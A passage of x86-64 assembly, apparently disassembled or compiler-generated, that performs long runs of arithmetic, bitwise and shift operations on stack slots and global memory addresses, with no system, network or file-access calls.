mov dword [rsp + 0x68fc], eax
lea rax, [rsp + 0x1550]
mov qword [0x1402c9150], rax
movsx eax, word [rsp + 0x15b4]
movsx ecx, word [rsp + 0x1588]
shl eax, cl
mov word [rsp + 0x15b8], ax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0xbf20], rax
movzx eax, word [rsp + 0x1580]
cdq
mov ecx, 0x693
idiv ecx
mov word [rsp + 0x15ac], ax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xbd78]
mov rcx, qword [rsp + 0xbdd8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x696c], eax
mov rax, qword [rsp + 0xbce8]
mov qword [rsp + 0xbf28], rax
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xbad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69d4], eax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0xbdf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74a5], al
mov rax, qword [rsp + 0xbde0]
movzx eax, word [rax]
mov word [rsp + 0x15bc], ax
movzx eax, byte [0x1402c74a2]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
movsx eax, word [rsp + 0x15a0]
movsx ecx, word [rsp + 0x155c]
sub eax, ecx
mov word [rsp + 0x156c], ax
lea rax, [rsp + 0x1538]
mov qword [rsp + 0xbf30], rax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xbdc8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb08], rax
mov eax, dword [rsp + 0x6980]
mov dword [rsp + 0x69dc], eax
mov rax, qword [rsp + 0xbd78]
mov ecx, dword [rsp + 0x696c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbed0]
mov rax, qword [rax]
mov qword [rsp + 0xbf38], rax
lea rax, [rsp + 0x15b4]
mov qword [0x1402c9158], rax
movsx eax, byte [rsp + 0x5f]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf30]
movzx eax, word [rax]
movzx ecx, word [0x1402c748c]
and eax, ecx
mov word [rsp + 0x159c], ax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0xbf40], rax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b], al
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x69e0], eax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbe40]
mov qword [rsp + 0xbf48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf48]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6918], eax
mov rax, qword [rsp + 0xbe60]
mov rcx, qword [rsp + 0xbda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbbf0], rax
lea rax, [0x1402c7490]
mov qword [rsp + 0xbf50], rax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
shl eax, cl
mov byte [rsp + 0x61], al
lea rax, [rsp + 0x6e]
mov qword [0x1402c9160], rax
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
mov word [rsp + 0x15c0], ax
movzx eax, word [0x1402c74a0]
mov rcx, qword [rsp + 0xbf30]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x152c], ax
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1588], ax
lea rax, [rsp + 0xbde8]
mov qword [rsp + 0xbf58], rax
mov eax, dword [rsp + 0x69bc]
mov ecx, dword [rsp + 0x68d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbbf8]
mov dword [rcx], eax
lea rax, [rsp + 0xbee8]
mov qword [rsp + 0xbf60], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x695c], eax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbd80]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c90b0], ax
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0xbef8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0xbd70]
mov byte [rcx], al
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xbf00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb70], rax
mov rax, qword [rsp + 0xbc00]
mov eax, dword [rax]
mov dword [rsp + 0x69e4], eax
mov rax, qword [rsp + 0xba70]
mov rcx, qword [rsp + 0xbb68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbeb8], rax
mov eax, dword [rsp + 0x69bc]
mov ecx, dword [rsp + 0x6990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69cc], eax
lea rax, [rsp + 0x1594]
mov qword [rsp + 0xbf68], rax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov byte [0x1402c90a5], al
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc68]
movzx eax, word [rax]
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
mov rax, qword [rsp + 0xbdd0]
mov rcx, qword [rsp + 0xbf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6980]
mov dword [rsp + 0x69e8], eax
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [rsp + 0xbca8]
mov qword [rsp + 0xbf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf70]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbee8], rax
lea rax, [rsp + 0x6990]
mov qword [rsp + 0xbf78], rax
mov rax, qword [0x1402c90b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
or eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c749c], ax
movzx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbd30]
mov byte [rcx], al
movzx eax, word [rsp + 0x1580]
mov word [rsp + 0x15c8], ax
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0xbb78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x57], al
movzx eax, word [rsp + 0x1590]
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0xbea0]
mov rcx, qword [rsp + 0xbe60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb08], rax
lea rax, [rsp + 0xbdf0]
mov qword [rsp + 0xbf80], rax
mov rax, qword [rsp + 0xbe68]
mov ecx, dword [rsp + 0x68d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69dc], eax
mov rax, qword [rsp + 0xbf18]
mov rcx, qword [rsp + 0xbb90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68b0], eax
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
sub eax, ecx
mov byte [0x1402c74a7], al
mov rax, qword [0x1402c9100]
movzx eax, byte [rax]
mov byte [rsp + 0x72], al
movzx eax, word [rsp + 0x1584]
movzx ecx, word [rsp + 0x1564]
add eax, ecx
mov rcx, qword [rsp + 0xbe90]
mov word [rcx], ax
lea rax, [rsp + 0x15c8]
mov qword [rsp + 0xbf88], rax
mov rax, qword [rsp + 0xbd28]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c749e]
add eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbeb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf38], rax
lea rax, [rsp + 0xbd20]
mov qword [rsp + 0xbf90], rax
mov rax, qword [rsp + 0xbf78]
mov ecx, dword [rsp + 0x6978]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69a0], eax
mov eax, dword [rsp + 0x69b0]
mov dword [rsp + 0x69ec], eax
movsx eax, word [rsp + 0x154c]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1402c90c0], ax
mov rax, qword [0x1402c9108]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf88]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1594], ax
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0xbbc8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbd98]
mov word [rcx], ax
mov rax, qword [rsp + 0xba80]
movzx eax, byte [rax]
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x6f]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
lea rax, [rsp + 0xbf38]
mov qword [rsp + 0xbf98], rax
mov eax, dword [rsp + 0x68ec]
cdq
idiv dword [rsp + 0x69a0]
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbe68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69b4], eax
lea rax, [rsp + 0xbde8]
mov qword [rsp + 0xbfa0], rax
mov rax, qword [rsp + 0xbd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
movsx eax, word [0x1402c90c0]
movsx ecx, word [rsp + 0x15b4]
sub eax, ecx
mov rcx, qword [rsp + 0xbc80]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov word [rsp + 0x15d0], ax
movzx eax, byte [rsp + 0x6e]
movzx ecx, byte [rsp + 0x65]
and eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x699c], eax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6998]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbdd8]
mov dword [rcx], eax
lea rax, [rsp + 0xbc50]
mov qword [rsp + 0xbfa8], rax
mov rax, qword [rsp + 0xbec0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd00], rax
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1564]
add eax, ecx
mov word [0x1402c74a8], ax
lea rax, [rsp + 0x51]
mov qword [rsp + 0xbfb0], rax
movsx eax, word [rsp + 0x155c]
movsx ecx, word [rsp + 0x1588]
add eax, ecx
mov word [rsp + 0x1548], ax
movsx eax, byte [rsp + 0x5f]
mov rcx, qword [0x1402c9118]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x69bc]
cdq
idiv dword [rsp + 0x6978]
mov dword [rsp + 0x69a4], eax
mov rax, qword [rsp + 0xbf58]
mov rax, qword [rax]
mov qword [rsp + 0xbfb8], rax
mov rax, qword [rsp + 0xbd00]
movzx ecx, al
mov rax, qword [rsp + 0xbeb8]
shr rax, cl
mov qword [rsp + 0xb9b0], rax
mov eax, dword [rsp + 0x68d4]
mov ecx, dword [rsp + 0x69d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x69d4], eax
movsx eax, word [rsp + 0x154c]
movsx ecx, word [rsp + 0x1530]
shl eax, cl
mov word [0x1402c90c0], ax
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x76], al
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15a8], ax
lea rax, [0x1402c748b]
mov qword [rsp + 0xbfc0], rax
movsx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0xbd28]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
mov rax, qword [rsp + 0xbda0]
mov rax, qword [rax]
mov qword [rsp + 0xbfc8], rax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xbb68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xbc88]
mov rcx, qword [rsp + 0xbab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68f4], eax
mov eax, dword [rsp + 0x6990]
mov dword [rsp + 0x69f0], eax
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
mov word [0x1402c9168], ax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x57]
sub eax, ecx
mov rcx, qword [rsp + 0xbf40]
mov byte [rcx], al
lea rax, [rsp + 0x1578]
mov qword [rsp + 0xbfd0], rax
movzx eax, byte [rsp + 0x56]
mov rcx, qword [0x1402c9160]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65], al
movsx eax, word [rsp + 0x1590]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov word [rcx], ax
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0xbfd8], rax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6988]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xbe88]
mov qword [rsp + 0xbfe0], rax
mov rax, qword [rsp + 0xbe18]
mov rcx, qword [rsp + 0xbdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbe18]
mov dword [rcx], eax
lea rax, [rsp + 0x159c]
mov qword [0x1402c9170], rax
mov rax, qword [0x1402c9160]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbdc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6f], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0xbfe8], rax
movzx eax, word [rsp + 0x153c]
mov rcx, qword [0x1402c9150]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1564], ax
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xbff0], rax
mov rax, qword [rsp + 0xbf10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbeb8]
shr rax, cl
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xbcc0]
mov rcx, qword [rsp + 0xba88]
mov qword [rsp + 0xbff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbff8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbc50], rax
mov eax, dword [rsp + 0x696c]
mov dword [rsp + 0x69f4], eax
mov rax, qword [rsp + 0xbc88]
mov rcx, qword [rsp + 0xbad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd98]
movzx eax, word [rax]
mov word [rsp + 0x15d4], ax
movzx eax, word [0x1402c90b0]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c90f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
lea rax, [rsp + 0x53]
mov qword [rsp + 0xc000], rax
movsx eax, word [rsp + 0x154c]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbff0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6980], eax
lea rax, [rsp + 0xbde8]
mov qword [rsp + 0xc008], rax
mov rax, qword [rsp + 0xbd50]
mov rcx, qword [rsp + 0xbe08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb68], rax
mov eax, dword [rsp + 0x69c0]
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
movzx ecx, word [0x1402c74a8]
add eax, ecx
mov word [rsp + 0x1554], ax
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [rsp + 0x70]
and eax, ecx
mov byte [0x1402c74aa], al
movzx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0xbcf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0xbff0]
movzx eax, word [rax]
mov word [rsp + 0x15d8], ax
mov rax, qword [rsp + 0xbed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5a], al
lea rax, [rsp + 0x68a0]
mov qword [rsp + 0xc010], rax
mov rax, qword [rsp + 0xb9d8]
mov rcx, qword [rsp + 0xbd60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbee8]
mov rcx, qword [rsp + 0xbf98]
mov qword [rsp + 0xc018], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc018]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbec0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68e4]
mov dword [rsp + 0x69fc], eax
movzx eax, byte [rsp + 0x6f]
movzx ecx, byte [rsp + 0x53]
xor eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x155c]
sar eax, cl
mov rcx, qword [0x1402c90e0]
mov word [rcx], ax
lea rax, [rsp + 0x72]
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0xbc10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1580]
or eax, ecx
mov word [rsp + 0x1540], ax
movzx eax, word [rsp + 0x1554]
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69b4], eax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
mov qword [rsp + 0xc028], rax
mov rax, qword [rsp + 0xbe60]
mov rcx, qword [rsp + 0xbe28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbea0]
mov qword [rcx], rax
lea rax, [rsp + 0x1598]
mov qword [rsp + 0xc030], rax
lea rax, [rsp + 0x1540]
mov qword [0x1402c9178], rax
mov rax, qword [rsp + 0xbe70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5f]
add eax, ecx
mov rcx, qword [rsp + 0xbed8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0xbb80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1544]
add eax, ecx
mov rcx, qword [rsp + 0xbde0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov dword [rsp + 0x6a00], eax
mov rax, qword [rsp + 0xbea0]
mov rcx, qword [rsp + 0xbcc0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbfa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
mov dword [rsp + 0x6a04], eax
movzx eax, word [rsp + 0x1564]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9138]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5b], al
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0xbc80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbff0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x5a], al
lea rax, [0x1402c7498]
mov qword [rsp + 0xc038], rax
mov eax, dword [rsp + 0x6918]
mov ecx, dword [rsp + 0x69dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6988], eax
lea rax, [rsp + 0xbe78]
mov qword [rsp + 0xc040], rax
mov rax, qword [rsp + 0xba70]
mov rcx, qword [rsp + 0xbe08]
mov qword [rsp + 0xc048], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc048]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbed0]
mov qword [rcx], rax
lea rax, [rsp + 0x6d]
mov qword [0x1402c9180], rax
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xc050], rax
mov rax, qword [rsp + 0xbc68]
movsx eax, word [rax]
mov rcx, qword [0x1402c9130]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15bc], ax
movzx eax, word [rsp + 0x1578]
movzx ecx, word [rsp + 0x1580]
imul eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0xc058], rax
mov rax, qword [rsp + 0xbf10]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbcf8]
mov rax, qword [rax]
mov qword [rsp + 0xc060], rax
mov rax, qword [rsp + 0xc038]
mov ecx, dword [rsp + 0x68e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6978], eax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xc010]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69b4], eax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c74ac], ax
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x15e0], ax
mov rax, qword [0x1402c9148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd70]
movzx eax, byte [rax]
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xbe18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69fc], eax
lea rax, [rsp + 0xbe30]
mov qword [rsp + 0xc068], rax
mov rax, qword [rsp + 0xbdd0]
mov rcx, qword [rsp + 0xbd48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
mov dword [rsp + 0x6a08], eax
mov rax, qword [rsp + 0xbd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6b]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbe58]
mov byte [rcx], al
movsx eax, word [rsp + 0x1544]
movsx ecx, word [rsp + 0x15c4]
sar eax, cl
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0xc070], rax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [0x1402c74a5]
shl eax, cl
mov byte [rsp + 0x5d], al
lea rax, [rsp + 0xbfb8]
mov qword [rsp + 0xc078], rax
mov rax, qword [rsp + 0xbdb8]
mov rcx, qword [rsp + 0xbe10]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x69e0], eax
lea rax, [rsp + 0x69ec]
mov qword [rsp + 0xc080], rax
mov rax, qword [rsp + 0xbec0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbee8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9160]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1584]
and eax, ecx
mov rcx, qword [rsp + 0xbd80]
mov word [rcx], ax
mov rax, qword [rsp + 0xba10]
movzx eax, word [rax]
mov word [rsp + 0x15e4], ax
mov rax, qword [rsp + 0xbb78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbed8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
lea rax, [rsp + 0x15b4]
mov qword [rsp + 0xc088], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x696c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [rsp + 0xbd00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbee8], rax
lea rax, [rsp + 0x68a0]
mov qword [rsp + 0xc090], rax
mov rax, qword [rsp + 0xbdc8]
mov rcx, qword [rsp + 0xbe78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc50], rax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov byte [0x1402c74ab], al
lea rax, [0x1402c74a0]
mov qword [rsp + 0xc098], rax
movsx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0xbfe8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x60], al
movsx eax, word [rsp + 0x15e4]
mov rcx, qword [rsp + 0xbd10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1568], ax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xbd68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69e4], eax
mov rax, qword [rsp + 0xb9b0]
mov qword [rsp + 0xc0a0], rax
mov eax, dword [rsp + 0x6990]
mov rcx, qword [rsp + 0xbb90]
mov qword [rsp + 0xc0a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0a8]
mov eax, dword [rax]
shl eax, cl
